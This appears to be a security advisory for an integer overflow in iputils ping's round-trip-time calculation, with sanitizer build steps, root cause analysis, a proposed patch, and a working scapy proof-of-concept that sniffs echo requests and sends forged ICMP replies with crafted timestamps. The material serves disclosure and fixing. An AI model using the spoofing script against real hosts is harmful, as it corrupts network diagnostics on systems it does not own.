# ping_rtt overflow

## Summary

A crafted ICMP Echo Reply can trigger a signed 64-bit integer overflow in iputils `ping` RTT calculation. By forging the timestamp field in the ICMP payload to be sufficiently large, the multiplication of seconds by 1,000,000 exceeds the signed `long` range, causing undefined behavior. Under AddressSanitizer (ASan), this is detected as a runtime error. In non ASan builds it wraps silently and clamps to zero, resulting in repeated zero-RTT readings and incorrect statistics.

## Affected Versions

- iputils `ping` from the current `master` branch: https://github.com/iputils/iputils/tree/master
- Ubuntu package version: `iputils-ping 3:20240117-1build1`

## Environment

- Distribution: Ubuntu 24.04.1 LTS (Noble Numbat)
- Kernel: 5.15.167.4-microsoft-standard-WSL2
- Architecture: x86_64

## Steps to Reproduce

1. **Export ASan/UBSan build flags**

```
export CFLAGS="-std=c99 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer"
export CXXFLAGS="$CFLAGS"
```

```
export LDFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer"
```

2. **Clone and build iputils with sanitizers**

```
git clone https://github.com/iputils/iputils
cd iputils
mkdir builddir-asan && cd builddir-asan
meson .. -Db_sanitize=address,undefined
ninja
```

3. In one terminal, start the PoC listener script ( `poc.py` ):

```
sudo ./poc.py
```

4. In another terminal, run ping:

```
sudo ./ping/ping -R -s 64 127.0.0.1
```

5. Observe signed-integer-overflow errors from ASan:

```
../ping_common.c:757: runtime error: signed integer overflow
```

2025-05-04.22-56-24.mp4

0:00 / 0:24

## Root Cause Analysis

In `ping_common.c`, the code does:

```
/* normalize recv_time - send_time */
tvsub(&tv, &tmp_tv);
/* compute microseconds */
triptime = tv->tv_sec * 1000000 + tv->tv_usec
```

Because `tv->tv_sec` is a signed 64-bit `long` and attacker controls it via the ICMP payload, multiplying by 1,000,000 can exceed `LONG_MAX`, causing signed overflow (CWE-190). The code does not check for overflow before or after the multiplication.

## Proposed Fix

Modify the RTT computation to use a 128-bit intermediate and clamp:

```
--- ping_common.c
+++ ping_common.c
@@ -754,7 +754,15 @@ gather_statistics(struct ping_rts *rts, uint8_t *icmph, int icmplen,
        tvsub(tv, &tmp_tv);
-       triptime = tv->tv_sec * 1000000 + tv->tv_usec;
+       {
+           __int128 delta = (__int128)tv->tv_sec * 1000000 + tv->tv_usec;
+           if (delta < 0) {
+               triptime = 0;
+           } else if (delta > LLONG_MAX) {
+               triptime = (long)LLONG_MAX;
+           } else {
+               triptime = (long)delta;
+           }
+       }
```

## PoC Script ( poc . py )

```
#!/usr/bin/env python3
from scapy.all import IP, ICMP, Raw, send, sniff, bind_layers
import time, struct, sys, os

LISTEN_INTERFACE = "lo"
TARGET_IP = "127.0.0.1"
FUTURE_OFFSET_SEC = 1.0

bind_layers(ICMP, Raw)

def process_packet(pkt):
    if not (pkt.haslayer(IP) and pkt.haslayer(ICMP)):
        return
    ip = pkt[IP]
    ic = pkt[ICMP]
```

```
    if ic.type != 8:
        return

    fut = time.time() + FUTURE_OFFSET_SEC
    sec = int(fut)
    usec = int((fut - sec) * 1_000_000)

    data = struct.pack('=ll', sec, usec)
    data += b'Z'*8   # padding to force full timeval read and overflow

    reply = (
        IP(src=ip.dst, dst=ip.src) /
        ICMP(type=0, code=0, id=ic.id, seq=ic.seq) /
        Raw(load=data)
    )

    print(f"sending id={ic.id} seq={ic.seq} sec={sec} usec={usec} len={len(data)}")
    send(reply, iface=LISTEN_INTERFACE, verbose=False)


def main():
    if os.geteuid() != 0:
        sys.exit("need root")
    filt = f"icmp and icmp[icmptype] = icmp-echo and host {TARGET_IP}"
    print(f"listening on {LISTEN_INTERFACE} for {TARGET_IP}")
    sniff(iface=LISTEN_INTERFACE, filter=filt, prn=process_packet, store=0)

if __name__=='__main__':
    main()
```